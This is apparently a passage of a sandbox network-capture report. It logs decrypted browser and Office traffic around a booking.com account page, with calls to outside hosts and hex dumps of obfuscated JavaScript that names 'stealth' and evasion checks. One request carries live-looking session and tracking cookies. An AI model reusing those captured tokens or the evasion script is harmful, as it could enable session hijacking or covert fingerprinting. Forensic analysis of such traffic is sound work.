ll'](_0x23be9f,0x0,_0xc29dcf)),_0x1a540b[_0xc29dcf]=_0x23be9f[_0xc29dcf]);}return _0x52388f[_0x3fb901(0x267)](_0x1a540b\|\|Array[_0x3fb901(0x64b)][_0x3fb901(0x548)][_0x3fb901(0x248)](_0x23be9f));}function _0x293a88(_0x12075a){return this instanceof _0x293a8
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 61 30 5f 30 78 33 62 31 62 3b 5f 30 78 32 36 66 33 32 39 5b 5f 30 78 34 36 37 36 66 35 28 30 78 36 35 30 29 5d 3d 30 78 31 3b 76 61 72 20 5f 30 78 32 30 62 36 61 38 3d 5f 30 78 64 61 39 39 66 64 28 30 78 32 29 2c 5f 30 78 32 64 36 31 36 33 3d 5f 30 78 64 61 39 39 66 64 28 30 78 34 29 2c 5f 30 78 34 37 63 66 35 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 32 31 38 65 36 64 3d 5f 30 78 34 36 37 36 66 35 2c 5f 30 78 34 61 61 33 35 61 3d 5b 5f 30 78 32 31 38 65 36 64 28 30 78 32 61 33 29 2c 5f 30 78 32 31 38 65 36 64 28 30 78 63 35 62 29 2c 30 78 30 2c 30 2e 33 36 33 37 36 39 38 32 35 36 37 34 38 35 30 33 2c 5f 30 78 32 31 38 65 36 64 28 30 78 38 65 64 29 2c 30 78 34 63 33 38 2c 5f 30 78 32 31 38 65 36 64 28 30 78 36 34 62 29 2c 5f 30 78 32 31 Data Ascii: a0_0x3b1b;_0x26f329[_0x4676f5(0x650)]=0x1;var _0x20b6a8=_0xda99fd(0x2),_0x2d6163=_0xda99fd(0x4),_0x47cf5d=function(){var _0x218e6d=_0x4676f5,_0x4aa35a=[_0x218e6d(0x2a3),_0x218e6d(0xc5b),0x0,0.3637698256748503,_0x218e6d(0x8ed),0x4c38,_0x218e6d(0x64b),_0x21
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 69 6e 64 6f 77 5b 5f 30 78 31 66 62 37 33 63 5b 30 78 33 5d 5d 5b 5f 30 78 31 66 62 37 33 63 5b 30 78 32 5d 5d 5b 5f 30 78 31 66 62 37 33 63 5b 30 78 30 5d 5d 28 5f 30 78 31 66 62 37 33 63 5b 30 78 31 5d 29 3b 7d 2c 5f 30 78 34 36 30 38 65 62 3b 7d 28 29 3b 5f 30 78 65 38 62 61 65 63 5b 5f 30 78 31 39 38 39 37 65 28 30 78 61 38 33 29 5d 3d 5f 30 78 35 66 34 66 37 66 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 36 66 30 39 32 2c 5f 30 78 34 34 35 61 37 33 2c 5f 30 78 31 39 39 37 33 64 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 5f 30 78 35 64 62 36 34 32 3d 61 30 5f 30 78 33 62 31 62 3b 5f 30 78 34 34 35 61 37 33 5b 5f 30 78 35 64 62 36 34 32 28 30 78 36 35 30 29 5d 3d 30 78 31 3b 76 61 72 20 5f 30 78 31 61 31 30 38 39 3d 5f 30 78 31 39 39 Data Ascii: indow[_0x1fb73c[0x3]][_0x1fb73c[0x2]][_0x1fb73c[0x0]](_0x1fb73c[0x1]);},_0x4608eb;}();_0xe8baec[_0x19897e(0xa83)]=_0x5f4f7f;},function(_0x16f092,_0x445a73,_0x19973d){'use strict';var _0x5db642=a0_0x3b1b;_0x445a73[_0x5db642(0x650)]=0x1;var _0x1a1089=_0x199
2024-11-02 13:00:24 UTC	15990	IN	Data Raw: 64 62 31 5b 30 78 62 5d 5d 3d 5f 30 78 31 33 64 65 36 65 3b 7d 72 65 74 75 72 6e 20 5f 30 78 35 36 38 37 38 30 5b 5f 30 78 31 37 64 64 62 31 5b 30 78 36 5d 5d 5b 5f 30 78 31 37 64 64 62 31 5b 30 78 35 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 65 33 34 32 37 3d 5f 30 78 34 35 64 36 34 35 2c 5f 30 78 33 65 66 36 38 39 3d 5b 30 2e 34 39 39 30 30 34 35 33 33 37 37 33 34 33 37 39 2c 5f 30 78 34 65 33 34 32 37 28 30 78 31 37 31 29 2c 5f 30 78 34 65 33 34 32 37 28 30 78 39 33 35 29 2c 27 42 55 46 46 45 52 5f 4b 45 59 27 2c 27 70 61 72 73 65 27 2c 5f 30 78 34 65 33 34 32 37 28 30 78 38 65 65 29 2c 5f 30 78 34 65 33 34 32 37 28 30 78 39 31 30 29 2c 30 78 61 32 32 34 2c 27 67 65 74 49 74 65 6d 27 5d 2c 5f 30 78 32 33 62 37 37 33 3d 74 68 69 Data Ascii: db1[0xb]]=_0x13de6e;}return _0x568780[_0x17ddb1[0x6]][_0x17ddb1[0x5]]=function(){var _0x4e3427=_0x45d645,_0x3ef689=[0.4990045337734379,_0x4e3427(0x171),_0x4e3427(0x935),'BUFFER_KEY','parse',_0x4e3427(0x8ee),_0x4e3427(0x910),0xa224,'getItem'],_0x23b773=thi
2024-11-02 13:00:24 UTC	394	IN	Data Raw: 37 3d 5b 27 73 74 65 61 6c 74 68 27 2c 5f 30 78 34 63 65 64 64 33 28 30 78 36 30 62 29 2c 5f 30 78 34 63 65 64 64 33 28 30 78 63 38 62 29 2c 5f 30 78 34 63 65 64 64 33 28 30 78 62 66 34 29 2c 27 64 65 74 65 63 74 4d 65 64 69 61 54 79 70 65 45 76 61 73 69 6f 6e 27 2c 5f 30 78 34 63 65 64 64 33 28 30 78 35 64 38 29 2c 6e 75 6c 6c 2c 5f 30 78 34 63 65 64 64 33 28 30 78 36 34 62 29 2c 27 61 70 70 6c 79 27 2c 5f 30 78 34 63 65 64 64 33 28 30 78 37 36 37 29 2c 5f 30 78 34 63 65 64 64 33 28 30 78 38 62 64 29 2c 30 78 38 30 35 38 2c 30 78 30 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 63 34 65 30 65 28 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 61 30 33 37 37 5b 30 78 36 5d 21 3d 3d 5f 30 78 36 36 30 34 65 61 26 26 5f 30 78 36 36 30 34 65 61 5b 5f 30 78 33 61 30 33 Data Ascii: 7=['stealth',_0x4cedd3(0x60b),_0x4cedd3(0xc8b),_0x4cedd3(0xbf4),'detectMediaTypeEvasion',_0x4cedd3(0x5d8),null,_0x4cedd3(0x64b),'apply',_0x4cedd3(0x767),_0x4cedd3(0x8bd),0x8058,0x0];function _0x5c4e0e(){return _0x3a0377[0x6]!==_0x6604ea&&_0x6604ea[_0x3a03

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49813	163.181.131.208	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	706	OUT	GET /dedge/zd/zd-service.html HTTP/1.1 Host: ls.cdn-gw-dv.vip Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:23 UTC	394	IN	HTTP/1.1 200 OK Server: Tengine Content-Type: text/html Content-Length: 592 Connection: close Accept-Ranges: bytes Vary: Accept-Encoding Vary: Origin Last-Modified: Mon, 05 Sep 2022 06:00:59 GMT Content-Encoding: gzip Age: 3226 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: * Via: ens-cache8.de7[16,0] Timing-Allow-Origin: * EagleId: a3b5839c17305524235456540e
2024-11-02 13:00:23 UTC	592	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 95 53 4d 8f 9b 30 10 bd f3 2b 88 0f 8b dd 75 48 2e 95 aa 00 91 aa 4d b6 da aa 69 aa 26 aa d4 53 e4 82 09 74 09 50 3c 90 8d 58 fe 7b c7 26 4b d2 76 2f 45 48 d8 6f 66 de 7c f0 c6 1f 2d d6 77 db ef 5f 96 76 02 87 6c 6e f9 e6 e3 27 52 44 73 ff 20 41 20 0e e5 58 fe aa d3 26 20 77 45 0e 32 87 f1 f6 54 4a 62 87 fd 2d 20 20 9f 60 a2 03 3d 3b 4c 44 a5 24 04 35 c4 e3 77 c4 9e cc fd 49 cf f5 a3 88 4e 48 af c2 2a 2d c1 06 24 38 c7 fd 14 8d e8 51 32 b7 68 5c e7 21 a4 45 4e 59 db 88 ca 4e 32 c5 f1 55 01 51 50 a5 f9 9e 78 50 9d 5a 44 83 d1 e8 98 e6 51 71 74 b3 22 14 d9 06 8a 4a ec a5 87 86 eb 7b 17 0a 08 13 2a 99 09 89 45 a6 a4 d7 59 2f 39 ec 24 d2 26 4b 27 8a 0c 71 14 7c dc ac 3f bb a5 ee 81 4a 37 12 20 98 77 21 a9 24 d4 55 ee 75 69 4c a9 Data Ascii: SM0+uH.Mi&StP<X{&Kv/EHof\|-w_vln'RDs A X& wE2TJb- `=;LD$5wINH-$8Q2h\!ENYN2UQPxPZDQqt"J{EY/9$&K'q\|?J7 w!$UuiL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49814	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	513	OUT	OPTIONS /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://account.booking.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:23 UTC	271	IN	HTTP/1.1 204 No Content Server: openresty Date: Sat, 02 Nov 2024 13:00:23 GMT Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 718751ec-501e-0078-1528-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130023Z-r159446fcd7n6v7whC1DFWauh800000001cg000000009fue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130023Z-16547b76f7fm7xw6hC1DFW5px400000000hg0000000070v8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: e16c3d14-801e-00a3-050a-2d7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130023Z-15869dbbcc6lq2lzhC1DFWsurc00000000ng000000000c7e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130023Z-16547b76f7f22sh5hC1DFWyb4w00000000g0000000007myh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130023Z-16547b76f7fq9mcrhC1DFWq15w00000000pg000000005fkt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49821	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	518	OUT	OPTIONS /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://account.booking.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:23 UTC	384	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 02 Nov 2024 13:00:23 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://account.booking.com Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-11-02 13:00:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49815	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:23 UTC	602	OUT	GET /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:23 UTC	331	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 02 Nov 2024 13:00:23 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type
2024-11-02 13:00:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49822	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	1621	OUT	GET /huHzPQWJeNImlm9V?26cdd7e71f36df13=xUwLVR46EJqgJJxHUbzsnxRtavHAvhnUqeZAGBvuws4v1p3U1RemkKwXorSHPXzjn87GMkkz9Wko-M8gNTyWbEdTpxYtncISQcd8WLHSjTsXDJPm6OuKX3sWNjrB6Me0WsFwZ2LIevrCwVYInEj12D9oWeie6c-1CQFYUsWre8ShyOHBo7BwGh-xswuAYtGjTWx5jXgXcgNCQzNo&jb=353926246a736d773555696e66677771246a7b6f35556b666c6f77732d30383330246a7162753d4168726d6f6d246a736035436a706f65652d3032393937 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
2024-11-02 13:00:24 UTC	514	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT tmx-nonce: 0879407f60bb10db Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
